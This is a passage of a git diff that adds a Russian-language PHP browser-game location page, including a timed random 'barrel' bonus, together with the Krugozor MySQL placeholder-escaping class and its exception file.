\"\""; + //buildset(1,"cap_rist_arr_left",240,30,"Страшилкина Улица"); + buildset(1,"cap_rist_arr_left",240,30,"Страшилкина Улица"); + //buildset(2,"stop_png",245,708,"Проход закрыт"); + //buildset(2,"arr_right_png2",245,708,"Секретный Лабиринт"); + buildset(2,"stop_png",245,708,"Проход закрыт"); + //buildset(4,"av_zaliv_svet",200,260,"Храмовая Лавка"); + //buildset(5,"av_zaliv_tma",175,570,"Храм Древних"); + //buildset(14,"vesna_cap_rist_solo",210,160,"Вход в Одиночные сражения"); + buildset(14,"vesna_cap_rist_solo",210,160,"Вход в Одиночные сражения"); + //buildset(5,"vesna_cap_rist_group",243,340,"Вход в Сражение отрядов"); + buildset(14,"vesna_cap_rist_group",243,340,"Вход в Сражение отрядов"); + //buildset(16,"lord_castle",110,310,"Замок Лорда Разрушителя"); + buildset(1000,"av_zamk_rud",80,310,"Рудник"); + //buildset(16555,"vesna_cap_rist_monstr",145,570,"Вход в Груповые сражения"); + buildset(203,"vesna_cap_rist_monstr",145,570,"Вход в Груповые сражения"); + //buildset(21,"angelscastle",131,628,"Замок Мэра Города"); + + $laikas = mysql_result(mysql_query("SELECT `bochka` FROM `users` WHERE `id` = '{$user['id']}'; "),0); + if (!isset($laikas)){ + $laikas=time()-60*60*4; + mysql_query("UPDATE `users` SET `bochka`='".$laikas."' WHERE `id` = '{$user['id']}'; "); + } + if ($_SESSION['usebochka']=='1'&&$laikas<=time()-60*60*4){ + $laikas=time(); + mysql_query("UPDATE `users` SET `bochka`='".$laikas."' WHERE `id` = '{$user['id']}'; "); + $_SESSION['usebochka']='0'; + $bon=mt_rand(1,4); + if ($bon==1){ + $kr=mt_rand(1,25); + if($kr>=15) { + $kr1=mt_rand(16,25); + if($kr1>=20) { + addchp ('Внимание! В принесенной бочке Вы нашли '.$kr1.' кр. ','{[]}'.nick7 ($user['id']).'{[]}'); + mysql_query("UPDATE `users` SET `bochka`='".$laikas."', `money`=`money`+$kr1 WHERE `id` = '{$user['id']}'; "); + } + else { + addchp ('Внимание! В принесенной бочке Вы нашли '.$kr1.' кр. ','{[]}'.nick7 ($user['id']).'{[]}'); + mysql_query("UPDATE `users` SET `bochka`='".$laikas."', `money`=`money`+$kr1 WHERE `id` = '{$user['id']}'; "); + } + } + else{ + addchp ('Внимание! В принесенной бочке Вы нашли '.$kr.' кр. ','{[]}'.nick7 ($user['id']).'{[]}'); + mysql_query("UPDATE `users` SET `bochka`='".$laikas."', `money`=`money`+$kr WHERE `id` = '{$user['id']}'; "); + } + } + elseif ($bon==2){ + $doblest=mt_rand(1,75); + if($doblest>=40) { + $doblest1=mt_rand(41,75); + if($doblest1>=60) { + addchp ('Внимание! В принесеной бочке Вы нашли '.$doblest1.' оч.репутации. ','{[]}'.nick7 ($user['id']).'{[]}'); + mysql_query("UPDATE `users` SET `bochka`='".$laikas."', `doblest`=`doblest`+$doblest, `reputation`=`reputation`+'$doblest' WHERE `id` = '{$user['id']}'; "); + } + else { + addchp ('Внимание! В принесеной бочке Вы нашли '.$doblest1.' оч.репутации. ','{[]}'.nick7 ($user['id']).'{[]}'); + mysql_query("UPDATE `users` SET `bochka`='".$laikas."', `doblest`=`doblest`+$doblest, `reputation`=`reputation`+$doblest WHERE `id` = '{$user['id']}'; "); + + } + } + else{ + addchp ('Внимание! В принесеной бочке Вы нашли '.$doblest.' оч.репутации. ','{[]}'.nick7 ($user['id']).'{[]}'); + mysql_query("UPDATE `users` SET `bochka`='".$laikas."', `doblest`=`doblest`+$doblest, `reputation`=`reputation`+$doblest WHERE `id` = '{$user['id']}'; "); + } + } + elseif ($bon==3){ + $rom=mt_rand(1,75); + if($rom>=40) { + $rom1=mt_rand(41,75); + if($rom1>=60) { + addchp ('Внимание! В принесеной бочке Вы нашли странный сосуд... ','{[]}'.nick7 ($user['id']).'{[]}'); + mysql_query("INSERT INTO `inventory` (`prototype`,`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`,`magic`,`otdel`, `isrep`) + VALUES ('5900400','{$_SESSION['uid']}','Бутыль старого пирата','51','1','5','rom.gif',1,'555','188','0') ;"); + } + else { + addchp ('Внимание! Ничего, кроме не нужных водорослей, Вы не нашли... ','{[]}'.nick7 ($user['id']).'{[]}'); + } + } + else{ + addchp ('Внимание! Ничего, кроме не нужных водорослей, Вы не нашли... ','{[]}'.nick7 ($user['id']).'{[]}'); + } + } + else{ + addchp ('Внимание! Ничего, кроме не нужных водорослей, Вы не нашли... ','{[]}'.nick7 ($user['id']).'{[]}'); + } + } + elseif ($laikas<=time()-60*60*4){ + buildset(3,"bochka",270,630,"Бочка"); + } + + //buildset(21,"angelscastle",131,628,"Замок Мэра Города"); + echo "
"; + } + + elseif ($user['room'] == 2701) + { + if((int)date("H") > 5 && (int)date("H") < 22) { + $fon = 'av_arena_bg1_day2'; + } else { + $fon = 'av_arena_bg1_day2'; + } + echo "
\"\""; + + buildset(1,"3strelka",260,30,"Берег Залива"); + buildset(2,"shar_dark",234,356,"Лабиринт Хаоса"); + buildset(3,"stop_png",260,720,"Проход закрыт"); + echo "
"; + } + //Торговая улица + elseif ($user['room'] == 2702) + { + if((int)date("H") > 5 && (int)date("H") < 22) { + //$fon = 'vesna_cap_torg_day'; + $fon = 'vesna_cap_torg_day'; + //$fon2 = 'snow_transp'; + } else { + //$fon = 'vesna_cap_torg_night'; + $fon = 'vesna_cap_torg_night'; + //$fon2 = 'snow_transp'; + } + echo " + +
\"\""; + //echo "
\"\""; + //buildset(14,"vesna_cap_build1",175,70,"Арендная лавка"); + buildset(6,"vesna_cap_build1",175,70,"Академия"); + //buildset(5,"vesna_cap_fontan",210,350,"Фонтан удачи"); + buildset(202,"vesna_cap_fontan",210,350,"Фонтан удачи"); + //buildset(16,"t_build42",120,300,"Аукцион"); + buildset(16,"t_build42",120,300,"Аукцион"); + //buildset(16555,"vesna_cap_build3",155,480,"Прокатная лавка"); + buildset(16555,"vesna_cap_build3",155,480,"Прокатная лавка"); + //buildset(21,"vesna_cap_build2",150,565,"Ломбард"); + buildset(21,"vesna_cap_build2",150,565,"Ломбард"); + //buildset(4,"cap_rist_arr_left",259,25,"Центральная площадь"); + buildset(10,"cap_rist_arr_left",259,25,"Центральная площадь"); + //buildset(3,"stop_png",259,720,"Проход закрыт"); + buildset(3,"stop_png",259,720,"Проход закрыт"); + echo "
"; + } + ?> + += 19 && $user['room']==20 || (int)date("H") >= 0 && (int)date("H") < 5 && $user['room']==20) { + $ms_cit=array('Вечер, звёзды... разбойник за каждым углом...', + 'Говорят, ночью тут вампиры гуляют...', + 'Темно, страшно, даже паладинов не видно...' + ); +echo "".$ms_cit[rand(0, 2)].""; +?> + + + +
+ + + + +
+
+ + + \ No newline at end of file diff --git a/Database/Exception.php b/Database/Exception.php new file mode 100644 index 0000000..e727cc0 --- /dev/null +++ b/Database/Exception.php @@ -0,0 +1,11 @@ +query('SELECT * FROM `table` WHERE `name` = "?s" AND `age` = ?i', $_POST['name'], $_POST['age']); + * + * Аргументы SQL-запроса, прошедшие через систему placeholders данного класса, экранируются специальными функциями + * экранирования, в зависимости от типа заполнителей. Т.е. вам теперь нет необходимости заключать переменные в функции + * экранирования типа mysqli_real_escape_string($value) или приводить их к числовому типу через (int)$value. + * + * Кроме того, данный класс позволяет: + * - получать "подготовленный" SQL-запрос для отладки, т.е. запрос с реальными значениями, что невозможно сделать + * используя "сырые" драйверы PHP типа PDO. + * - получать список всех запросов выполненных в рамках одного подключения к Mysql-серверу. + * + * + * --------------------------------------------------------------------------------------------------------------------- + * Режимы работы. + * --------------------------------------------------------------------------------------------------------------------- + * + * Существует два режима работы класса: + * Mysql::MODE_STRICT - строгий режим соответствия типа заполнителя и типа аргумента. + * Mysql::MODE_TRANSFORM - режим преобразования аргумента к типу заполнителя при несовпадении + * типа заполнителя и типа аргумента. + * + * Режим Mysql::MODE_TRANSFORM установлен по умолчанию и является основным для большинства приложений. + * Если же вам нужна максимальная прозрачность операций над типами данных, производимых библиотекой Datavase, + * установите режим Mysql::MODE_STRICT. + * + * + * MODE_STRICT + * + * В "строгом" режиме MODE_STRICT аргументы, передаваемые в основной метод Mysql::query(), + * должны соответствовать типу заполнителя. + * Например, попытка передать в качестве аргумента значение 55.5 или '55.5' для заполнителя целочисленного типа ?i + * приведет к выбросу исключения: + * + * $db->setTypeMode(Mysql::MODE_STRICT); // устанавливаем строгий режим работы + * $db->query('SELECT ?i', 55.5); // Попытка указать для заполнителя типа int значение типа double в шаблоне запроса SELECT ?i + * + * Это утверждение не относится к числам (целым и с плавающей точкой), заключенным в строки. + * С точки зрения библиотеки, строка '123' и значение 123 являются типом int. + * + * + * MODE_TRANSFORM + * + * Режим MODE_TRANSFORM является "щадящим" режимом и при несоответствии типа заполнителя и типа аргумента не генерирует + * исключение, а пытается преобразовать аргумент к нужному типу заполнителя посредством самого языка PHP. + * + * Допускаются следующие преобразования: + * + * К типу int приводятся (заполнитель ?i): + * - числа с плавающей точкой, представленные как строка или тип double + * - bool + * - null + * + * К типу double приводятся (заполнитель ?d): + * - целые числа, представленные как строка или тип int + * - bool + * - null + * + * К типу string приводятся (заполнитель ?s): + * - значение boolean TRUE преобразуется в строку "1", а значение FALSE преобразуется в "" (пустую строку). + * - значение типа numeric преобразуется в строку согласно правилам преобразования, определенным языком. + * - NULL преобразуется в пустую строку. + * + * К типу null приводятся (заполнитель ?n): + * - любые аргументы + * + * Для массивов, объектов и ресурсов преобразования не допускаются. + * + * + * --------------------------------------------------------------------------------------------------------------------- + * Типы маркеров-заполнителей + * --------------------------------------------------------------------------------------------------------------------- + * + * ?f - заполнитель имени таблицы или поля (первая буква слова field). + * Данный заполнитель предназначен для случаев, когда имя таблицы или поля передается в запроос через аргумент. + * + * ?i - заполнитель целого числа (первая буква слова integer). + * В режиме MODE_TRANSFORM любые скалярные аргументы принудительно приводятся к типу integer + * согласно правилам преобразования к типу integer в PHP. + * + * ?d - заполнитель числа с плавающей точкой (первая буква слова double). + * В режиме MODE_TRANSFORM любые скалярные аргументы принудительно приводятся к типу float + * согласно правилам преобразования к типу float в PHP. + * + * ?s - заполнитель строкового типа (первая буква слова string). + * В режиме MODE_TRANSFORM любые скалярные аргументы принудительно приводятся к типу string + * согласно правилам преобразования к типу string в PHP + * и экранируются с помощью функции PHP mysqli_real_escape_string(). + * + * ?S - заполнитель строкового типа для подстановки в SQL-оператор LIKE (первая буква слова string). + * В режиме MODE_TRANSFORM Любые скалярные аргументы принудительно приводятся к типу string + * согласно правилам преобразования к типу string в PHP + * и экранируются с помощью функции PHP mysqli_real_escape_string() + экранирование спецсимволов, + * используемых в операторе LIKE (%_). + * + * ?n - заполнитель NULL типа (первая буква слова null). + * В режиме MODE_TRANSFORM любые аргументы игнорируются, заполнители заменяются на строку `NULL` в SQL запросе. + * + * ?A* - заполнитель ассоциативного множества для ассоциативного массива-аргумента, генерирующий последовательность + * пар ключ => значение. + * Пример: "key_1" = "val_1", "key_2" = "val_2", ... + * + * ?a* - заполнитель множества из простого (или также ассоциативного) массива-аргумента, генерирующий последовательность + * значений. + * Пример: "val_1", "val_2", ... + * + * где * после маркера заполнителя - один из типов: + * - i (int) + * - p (float) + * - s (string) + * правила преобразования и экранирования такие же, как и для одиночных скалярных аргументов (см. выше). + * + * ?A[?n, ?s, ?i, ?d] - заполнитель ассоциативного множества с явным указанием типа и количества аргументов, + * генерирующий последовательность пар ключ => значение. + * Пример: "key_1" = "val_1", "key_2" => "val_2", ... + * + * ?a[?n, ?s, ?i, ?d] - заполнитель множества с явным указанием типа и количества аргументов, генерирующий + * последовательность значений. + * Пример: "val_1", "val_2", ... + * + * + * --------------------------------------------------------------------------------------------------------------------- + * Ограничивающие кавчки + * --------------------------------------------------------------------------------------------------------------------- + * + * Данный класс при формировании SQL-запроса НЕ занимается проставлением ограничивающих кавычек для одиночных + * заполнителей скалярного типа, таких как ?i, ?d и ?s. Это сделано по идеологическим соображениям, + * автоподстановка кавычек может стать ограничением для возможностей SQL. + * Например, выражение + * $db->query('SELECT "Total: ?s"', '200'); + * вернёт строку + * 'Total: 200' + * Если бы кавычки, ограничивающие строковой литерал, ставились бы автоматически, + * то вышеприведённое условие вернуло бы строку + * 'Total: "200"' + * что было бы не ожидаемым поведением. + * + * Тем не менее, для перечислений ?as, ?ai, ?ap, ?As, ?Ai и ?Ap ограничивающие кавычки ставятся принудительно, т.к. + * перечисления всегда используются в запросах, где наличие кавчек обязательно или не играет роли (а так ли это?): + * + * $db->query('INSERT INTO `test` SET ?As', array('name' => 'Маша', 'age' => '23', 'adress' => 'Москва')); + * -> INSERT INTO test SET `name` = "Маша", `age` = "23", `adress` = "Москва" + * + * $db->query('SELECT * FROM table WHERE field IN (?as)', array('55', '12', '132')); + * -> SELECT * FROM table WHERE field IN ("55", "12", "132") + * + * Также исключения составляют заполнители типа ?f, предназначенные для передачи в запрос имен таблиц и полей. + * Аргумент заполнителя ?f всегда обрамляется обратными кавычками (`): + * + * $db->query('SELECT ?f FROM ?f', 'my_field', 'my_table'); + * -> SELECT `my_field` FROM `my_table` + */ +namespace Krugozor\Database\Mysql; + +class Mysql +{ + /** + * Строгий режим типизации. + * Если тип заполнителя не совпадает с типом аргумента, то будет выброшено исключение. + * Пример такой ситуации: + * + * $db->query('SELECT * FROM `table` WHERE `id` = ?i', '2+мусор'); + * + * - в данной ситуации тип заполнителя ?i - число или числовая строка, + * а в качестве аргумента передаётся строка '2+мусор' не являющаяся ни числом, ни числовой строкой. + * + * @var int + */ + const MODE_STRICT = 1; + + /** + * Режим преобразования. + * Если тип заполнителя не совпадает с типом аргумента, аргумент принудительно будет приведён + * к нужному типу - к типу заполнителя. + * Пример такой ситуации: + * + * $db->query('SELECT * FROM `table` WHERE `id` = ?i', '2+мусор'); + * + * - в данной ситуации тип заполнителя ?i - число или числовая строка, + * а в качестве аргумента передаётся строка '2+мусор' не являющаяся ни числом, ни числовой строкой. + * Строка '2+мусор' будет принудительно приведена к типу int согласно правилам преобразования типов в PHP. + * + * @var int + */ + const MODE_TRANSFORM = 2; + + /** + * Режим работы инстанцированного объекта. + * См. описание констант self::MODE_STRICT и self::MODE_TRANSFORM. + * + * @var int + */ + protected $type_mode = self::MODE_TRANSFORM; + + protected $server; + + protected $user; + + protected $password; + + protected $port; + + protected $socket; + + /** + * Имя текущей БД. + * + * @var string + */ + protected $database_name; + + /** + * Стандартный объект соединения сервером MySQL. + * + * @var mysqli + */ + protected $mysqli; + + /** + * Строка последнего SQL-запроса до преобразования. + * + * @var string + */ + private $original_query; + + /** + * Строка последнего SQL-запроса после преобразования. + * + * @var string + */ + private $query; + + /** + * Массив со всеми запросами, которые были выполнены объектом. + * Ключи - SQL после преобразования, значения - SQL до преобразования. + * + * @var array + */ + private $queries = array(); + + /** + * Накапливать ли в хранилище $this->queries исполненные запросы. + * + * @var bool + */ + private $store_queries = true; + + /** + * Создает инстанс данного класса. + * + * @param string $server имя сервера + * @param string $username имя пользователя + * @param string $password пароль + * @param string $port порт + * @param string $socket сокет + */ + public static function create($server, $username, $password, $port=null, $socket=null) + { + return new self($server, $username, $password, $port, $socket); + } + + /** + * Задает набор символов по умолчанию. + * Вызов данного метода эквивалентен следующей установки конфигурации MySql-сервера: + * SET character_set_client = charset_name; + * SET character_set_results = charset_name; + * SET character_set_connection = charset_name; + * + * @param string $charset + * @return Mysql + */ + public function setCharset($charset) + { + if (!$this->mysqli->set_charset($charset)) { + throw new Exception(__METHOD__ . ': ' . $this->mysqli->error); + } + + return $this; + } + + /** + * Возвращает кодировку по умолчанию, установленную для соединения с БД. + * + * @param void + * @return string + */ + public function getCharset() + { + return $this->mysqli->character_set_name(); + } + + /** + * Устанавливает имя используемой СУБД. + * + * @param string имя базы данных + * @return Mysql + */ + public function setDatabaseName($database_name) + { + if (!$database_name) { + throw new Exception(__METHOD__ . ': Не указано имя базы данных'); + } + + $this->database_name = $database_name; + + if (!$this->mysqli->select_db($this->database_name)) { + throw new Exception(__METHOD__ . ': ' . $this->mysqli->error); + } + + return $this; + } + + /** + * Возвращает имя текущей БД. + * + * @param void + * @return string + */ + public function getDatabaseName() + { + return $this->database_name; + } + + /** + * Устанавливает режим поведения при несовпадении типа заполнителя и типа аргумента. + * + * @param $value int + * @return Mysql + */ + public function setTypeMode($value) + { + if (!in_array($value, array(self::MODE_STRICT, self::MODE_TRANSFORM))) { + throw new Exception(__METHOD__ . ': Указан неизвестный тип режима'); + } + + $this->type_mode = $value; + + return $this; + } + + /** + * Устанавливает свойство $this->store_queries, отвечающее за накопление исполненных запросов в + * хранилище $this->queries. + * + * @param bool $value + * @return Mysql + */ + public function setStoreQueries($value) + { + $this->store_queries = (bool) $value; + + return $this; + } + + /** + * Выполняет SQL-запрос. + * Принимает обязательный параметр - SQL-запрос и, в случае наличия, + * любое количество аргументов - значения заполнителей. + * + * @param string строка SQL-запроса + * @param mixed аргументы для заполнителей + * @return bool|Statement false в случае ошибки, в обратном случае объект результата + */ + public function query() + { + if (!func_num_args()) { + return false; + } + + $args = func_get_args(); + + $query = $this->original_query = array_shift($args); + + $this->query = $this->parse($query, $args); + + $result = $this->mysqli->query($this->query); + + if ($this->store_queries) { + $this->queries[$this->query] = $this->original_query; + } + + if ($result === false) { + throw new Exception(__METHOD__ . ': ' . $this->mysqli->error . '; SQL: ' . $this->query); + } + + if (is_object($result) && $result instanceof \mysqli_result) { + return new Statement($result); + } + + return $result; + } + + /** + * Поведение аналогично методу self::query(), только метод принимает только два параметра - + * SQL запрос $query и массив аргументов $arguments, которые и будут заменены на заменители в той + * последовательности, в которой они представленны в массиве $arguments. + * + * @param string + * @param array + * @return bool|Mysql_Statement + */ + public function queryArguments($query, array $arguments=array()) + { + array_unshift($arguments, $query); + + return call_user_func_array(array($this, 'query'), $arguments); + } + + /** + * Обёртка над методом $this->parse(). + * Применяется для случаев, когда SQL-запрос формируется частями. + * + * Пример: + * $db->prepare('WHERE `name` = "?s" OR `id` IN(?ai)', 'Василий', array(1, 2)); + * Результат: + * WHERE `name` = "Василий" OR `id` IN(1, 2) + * + * @param string SQL-запрос или его часть + * @param mixed аргументы заполнителей + * @return boolean|string + */ + public function prepare() + { + if (!func_num_args()) { + return false; + } + + $args = func_get_args(); + $query = array_shift($args); + + return $this->parse($query, $args); + } + + /** + * Получает количество рядов, задействованных в предыдущей MySQL-операции. + * Возвращает количество рядов, задействованных в последнем запросе INSERT, UPDATE или DELETE. + * Если последним запросом был DELETE без оператора WHERE, + * все записи таблицы будут удалены, но функция возвратит ноль. + * + * @see mysqli_affected_rows + * @param void + * @return int + */ + public function getAffectedRows() + { + return $this->mysqli->affected_rows; + } + + /** + * Возвращает последний оригинальный SQL-запрос до преобразования. + * + * @param void + * @return string + */ + public function getOriginalQueryString() + { + return $this->original_query; + } + + /** + * Возвращает последний выполненный MySQL-запрос (после преобразования). + * + * @param void + * @return string + */ + public function getQueryString() + { + return $this->query; + } + + /** + * Возвращает массив со всеми исполненными SQL-запросами в рамках текущего объекта. + * + * @param void + * @return array + */ + public function getQueries() + { + return $this->queries; + } + + /** + * Возвращает id, сгенерированный предыдущей операцией INSERT. + * + * @param void + * @return int + */ + public function getLastInsertId() + { + return $this->mysqli->insert_id; + } + + /** + * Возвращает оригинальный объект mysqli. + * + * @param void + * @return mysqli + */ + public function getMysqli() + { + return $this->mysqli; + } + + public function __destruct() + { + $this->close(); + } + + /** + * @param string $server + * @param string $username + * @param string $password + * @param string $port + * @param string $socket + * @return void + */ + private function __construct($server, $user, $password, $port, $socket) + { + $this->server = $server; + $this->user = $user; + $this->password = $password; + $this->port = $port; + $this->socket = $socket; + + $this->connect(); + } + + /** + * Устанавливает соеденение с базой данных. + * + * @param void + * @return void + */ + private function connect() + { + if (!is_object($this->mysqli) || !$this->mysqli instanceof mysqli) { + $this->mysqli = @new \mysqli($this->server, $this->user, $this->password, null, $this->port, $this->socket); + + if ($this->mysqli->connect_error) { + throw new Exception(__METHOD__ . ': ' . $this->mysqli->connect_error); + } + } + } + + /** + * Закрывает MySQL-соединение. + * + * @param void + * @return Mysql + */ + private function close() + { + if (is_object($this->mysqli) && $this->mysqli instanceof mysqli) { + @$this->mysqli->close(); + } + + return $this; + } + + /** + * Возвращает экранированную строку для placeholder-а поиска LIKE (?S). + * + * @param string $var строка в которой необходимо экранировать спец. символы + * @param string $chars набор символов, которые так же необходимо экранировать. + * По умолчанию экранируются следующие символы: `'"%_`. + * @return string + */ + private function escapeLike($var, $chars = "%_") + { + $var = str_replace('\\', '\\\\', $var); + $var = $this->mysqlRealEscapeString($var); + + if ($chars) { + $var = addCslashes($var, $chars); + } + + return $var; + } + + /** + * Экранирует специальные символы в строке для использования в SQL выражении, + * используя текущий набор символов соединения. + * + * @see mysqli_real_escape_string + * @param string + * @return string + */ + private function mysqlRealEscapeString($value) + { + return $this->mysqli->real_escape_string($value); + } + + /** + * Возвращает строку описания ошибки при несовпадении типов заполнителей и аргументов. + * + * @param string $type тип заполнителя + * @param mixed $value значение аргумента + * @param string $original_query оригинальный SQL-запрос + * @return string + */ + private function createErrorMessage($type, $value, $original_query) + { + return "Попытка указать для заполнителя типа $type значение типа " . gettype($value) . " в шаблоне запроса $original_query"; + } + + /** + * Парсит запрос $query и подставляет в него аргументы из $args. + * + * @param string $query SQL запрос или его часть (в случае парсинга условия в скобках []) + * @param array $args аргументы заполнителей + * @param string $original_query "оригинальный", полный SQL-запрос + * @return string SQL запрос для исполнения + */ + private function parse($query, array $args, $original_query=null) + { + $original_query = $original_query ? $original_query : $query; + + $offset = 0; + + while (($posQM = mb_strpos($query, '?', $offset)) !== false) { + $offset = $posQM; + + $placeholder_type = mb_substr($query, $posQM + 1, 1); + + // Любые ситуации с нахождением знака вопроса, который не явялется заполнителем. + if ($placeholder_type == '' || !in_array($placeholder_type, array('i', 'd', 's', 'S', 'n', 'A', 'a', 'f'))) { + $offset += 1; + continue; + } + + if (!$args) { + throw new Exception( + __METHOD__ . ': количество заполнителей в запросе ' . $original_query . + ' не соответствует переданному количеству аргументов' + ); + } + + $value = array_shift($args); + + $is_associative_array = false; + + switch ($placeholder_type) { + // `LIKE` search escaping + case 'S': + $is_like_escaping = true; + + // Simple string escaping + // В случае установки MODE_TRANSFORM режима, преобразование происходит согласно правилам php типизации + // http://php.net/manual/ru/language.types.string.php#language.types.string.casting + // для bool, null и numeric типа. + case 's': + $value = $this->getValueStringType($value, $original_query); + $value = !empty($is_like_escaping) ? $this->escapeLike($value) : $this->mysqlRealEscapeString($value); + $query = mb_substr_replace($query, $value, $posQM, 2); + $offset += mb_strlen($value); + break; + + // Integer + // В случае установки MODE_TRANSFORM режима, преобразование происходит согласно правилам php типизации + // http://php.net/manual/ru/language.types.integer.php#language.types.integer.casting + // для bool, null и string типа. + case 'i': + $value = $this->getValueIntType($value, $original_query); + $query = mb_substr_replace($query, $value, $posQM, 2); + $offset += mb_strlen($value); + break; + + // double + case 'd': + $value = $this->getValueFloatType($value, $original_query); + $query = mb_substr_replace($query, $value, $posQM, 2); + $offset += mb_strlen($value); + break; + + // NULL insert + case 'n': + $value = $this->getValueNullType($value, $original_query); + $query = mb_substr_replace($query, $value, $posQM, 2); + $offset += mb_strlen($value); + break; + + // field or table name + case 'f': + $value = $this->escapeFieldName($value, $original_query); + $query = mb_substr_replace($query, $value, $posQM, 2); + $offset += mb_strlen($value); + break; + + // Парсинг массивов. + + // Associative array + case 'A': + $is_associative_array = true; + + // Simple array + case 'a': + $value = $this->getValueArrayType($value, $original_query); + + $next_char = mb_substr($query, $posQM + 2, 1); + + if ($next_char != '' && preg_match('#[sid\[]#u', $next_char, $matches)) { + // Парсим выражение вида ?a[?i, "?s", "?s"] + if ($next_char == '[' and ($close = mb_strpos($query, ']', $posQM+3)) !== false) { + // Выражение между скобками [ и ] + $array_parse = mb_substr($query, $posQM+3, $close - ($posQM+3)); + $array_parse = trim($array_parse); + $placeholders = array_map('trim', explode(',', $array_parse)); + + if (count($value) != count($placeholders)) { + throw new Exception('Несовпадение количества аргументов и заполнителей в массиве, запрос ' . $original_query); + } + + reset($value); + reset($placeholders); + + $replacements = array(); + + foreach ($placeholders as $placeholder) { + list($key, $val) = each($value); + $replacements[$key] = $this->parse($placeholder, array($val), $original_query); + } + + if (!empty($is_associative_array)) { + foreach ($replacements as $key => $val) { + $values[] = $this->escapeFieldName($key, $original_query) . ' = ' . $val; + } + + $value = implode(',', $values); + } else { + $value = implode(', ', $replacements); + } + + $query = mb_substr_replace($query, $value, $posQM, 4 + mb_strlen($array_parse)); + $offset += mb_strlen($value); + } + // Выражение вида ?ai, ?as, ?ap + else if (preg_match('#[sid]#u', $next_char, $matches)) { + $sql = ''; + $parts = array(); + + foreach ($value as $key => $val) { + switch ($matches[0]) { + case 's': + $val = $this->getValueStringType($val, $original_query); + $val = $this->mysqlRealEscapeString($val); + break; + case 'i': + $val = $this->getValueIntType($val, $original_query); + break; + case 'd': + $val = $this->getValueFloatType($val, $original_query); + break; + } + + if (!empty($is_associative_array)) { + $parts[] = $this->escapeFieldName($key, $original_query) . ' = "' . $val . '"'; + } else { + $parts[] = '"' . $val . '"'; + } + } + + $value = implode(', ', $parts); + $value = $value !== '' ? $value : 'NULL'; + + $query = mb_substr_replace($query, $value, $posQM, 3); + $offset += mb_strlen($value); + } + } else { + throw new Exception('Попытка воспользоваться заполнителем массива без указания типа данных его элементов'); + } + + break; + } + } + + return $query; + } + + /** + * В зависимости от типа режима возвращает либо строковое значение $value, + * либо кидает исключение. + * + * @param mixed $value + * @param string $original_query оригинальный SQL запрос + * @throws Exception + * @return string + */ + private function getValueStringType($value, $original_query) + { + if (!is_string($value) && $this->type_mode == self::MODE_STRICT) { + // Если это числовой string, меняем его тип для вывода в тексте исключения его типа. + if ($this->isInteger($value) || $this->isFloat($value)) { + $value += 0; + } + + throw new Exception($this->createErrorMessage('string', $value, $original_query)); + } + + // меняем поведение PHP в отношении приведения bool к string + if (is_bool($value)) { + return (string) (int) $value; + } + + if (!is_string($value) && !(is_numeric($value) || is_null($value))) { + throw new Exception($this->createErrorMessage('string', $value, $original_query)); + } + + return (string) $value; + } + + /** + * В зависимости от типа режима возвращает либо строковое значение числа $value, + * приведенного к типу int, либо кидает исключение. + * + * @param mixed $value + * @param string $original_query оригинальный SQL запрос + * @throws Exception + * @return string + */ + private function getValueIntType($value, $original_query) + { + if ($this->isInteger($value)) { + return $value; + } + + switch ($this->type_mode) { + case self::MODE_TRANSFORM: + if ($this->isFloat($value) || is_null($value) || is_bool($value)) { + return (int) $value; + } + + case self::MODE_STRICT: + // Если это числовой string, меняем его тип для вывода в тексте исключения его типа. + if ($this->isFloat($value)) { + $value += 0; + } + throw new Exception($this->createErrorMessage('integer', $value, $original_query)); + } + } + + /** + * В зависимости от типа режима возвращает либо строковое значение числа $value, + * приведенного к типу float, либо кидает исключение. + * + * Внимание! Разделитель целой и дробной части, возвращаемый float, может не совпадать с разделителем СУБД. + * Для установки необходимого разделителя дробной части используйте setlocale(). + * + * @param mixed $value + * @param string $original_query оригинальный SQL запрос + * @throws Exception + * @return string + */ + private function getValueFloatType($value, $original_query) + { + if ($this->isFloat($value)) { + return $value; + } + + switch ($this->type_mode) { + case self::MODE_TRANSFORM: + if ($this->isInteger($value) || is_null($value) || is_bool($value)) { + return (float) $value; + } + + case self::MODE_STRICT: + // Если это числовой string, меняем его тип на int для вывода в тексте исключения. + if ($this->isInteger($value)) { + $value += 0; + } + throw new Exception($this->createErrorMessage('double', $value, $original_query)); + } + } + + /** + * В зависимости от типа режима возвращает либо строковое значение 'NULL', + * либо кидает исключение. + * + * @param mixed $value + * @param string $original_query оригинальный SQL запрос + * @throws Exception + * @return string + */ + private function getValueNullType($value, $original_query) + { + if ($value !== null && $this->type_mode == self::MODE_STRICT) { + // Если это числовой string, меняем его тип для вывода в тексте исключения его типа. + if ($this->isInteger($value) || $this->isFloat($value)) { + $value += 0; + } + + throw new Exception($this->createErrorMessage('NULL', $value, $original_query)); + } + + return 'NULL'; + } + + /** + * Всегда генерирует исключение, если $value не является массивом. + * Первоначально была идея в режиме self::MODE_TRANSFORM приводить к типу array + * скалярные данные, но на данный момент я считаю это излишним послаблением для клиентов, + * которые будут использовать данный класс. + * + * @param mixed $value + * @param string $original_query + * @throws Exception + * @return array + */ + private function getValueArrayType($value, $original_query) + { + if (!is_array($value)) { + throw new Exception($this->createErrorMessage('array', $value, $original_query)); + } + + return $value; + } + + /** + * Экранирует имя поля таблицы или столбца. + * + * @param string $value + * @return string $value + */ + private function escapeFieldName($value, $original_query) + { + if (!is_string($value)) { + throw new Exception($this->createErrorMessage('field', $value, $original_query)); + } + + $new_value = ''; + + $replace = function($value){ + return '`' . str_replace("`", "``", $value) . '`'; + }; + + // Признак обнаружения символа текущей базы данных + $dot = false; + + if ($values = explode('.', $value)) { + foreach ($values as $value) { + if ($value === '') { + if (!$dot) { + $dot = true; + $new_value .= '.'; + } else { + throw new Exception('Два символа `.` идущие подряд в имени столбца или таблицы'); + } + } else { + $new_value .= $replace($value) . '.'; + } + } + + return rtrim($new_value, '.'); + } else { + return $replace($value); + } + } + + /** + * Проверяет, является ли значение целым числом, умещающимся в диапазон PHP_INT_MAX. + * + * @param mixed $input + * @return boolean + */ + private function isInteger($val) + { + if (!is_scalar($val) || is_bool($val)) { + return false; + } + + return $this->isFloat($val) ? false : preg_match('~^((?:\+|-)?[0-9]+)$~', $val) === 1; + } + + /** + * Проверяет, является ли значение числом с плавающей точкой. + * + * @param mixed $input + * @return boolean + */ + private function isFloat($val) + { + if (!is_scalar($val) || is_bool($val)) { + return false; + } + + $type = gettype($val); + + if ($type === "double") { + return true; + } else { + return preg_match("/^([+-]*\\d+)*\\.(\\d+)*$/", $val) === 1; + 